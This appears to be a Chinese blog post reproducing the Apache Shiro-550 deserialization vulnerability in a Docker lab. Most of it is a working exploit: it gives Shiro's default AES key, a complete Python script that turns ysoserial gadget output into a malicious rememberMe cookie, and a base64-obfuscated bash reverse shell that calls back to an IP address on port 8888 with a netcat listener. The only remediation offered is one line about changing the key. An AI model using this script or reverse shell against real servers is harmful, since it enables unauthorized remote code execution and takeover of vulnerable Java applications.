0x00:前言

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。其编号为550的问题爆出了严重的 Java 反序列化漏洞 。

0x01:环境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 99:8080 medicean/vulapps:s_shiro_1

访问99端口即可访问漏洞环境

从官方的 issue 上来看,漏洞的利用点是在cookie里的rememberMe参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

服务端接收rememberMe的cookie值:

rememberMe的cookie值=>base64解码=>AES解密=>反序列化

我们要利用那么POC就需要先反序列化然后再AES加密最后base64编码

Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>payload function()

在shrio中AES加密有一个iv向量但是没有用到所以随机生成一个就了,重要的是密钥密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,默认密钥为:kPH+bIxk5D2deZiIxcaaaA==之后就是编写POC了。

0x02:复现漏洞

首先给出利用脚本

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/ysoserial/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

脚本使用的是python3,安装模块时要使用pip3 install 模块名

然后需要下载 ysoserial的jar文件

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /ysoserial

将利用代码shiro1.4.py放置于/ysoserial目录下

payload格式

python3 shiro1.4.py "ifconfig"

然后会在已经设置的路径下生成一个payload.cookie文件,我这里是/ysoserial/payload.cookie

然后在测试站点击account page 输入账号密码 root/secret 点击remember me抓包更改remember参数

抓包

制作payload

http://www.jackson-t.ca/runtime-exec-payloads.html

反弹shell

python3 shiro1.4.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xNDUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

kali监听8888端口

nc -lvp 8888

将数据包中的cookie值替换掉

发送后即可收到shell

0x03:修复

修改默认key

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注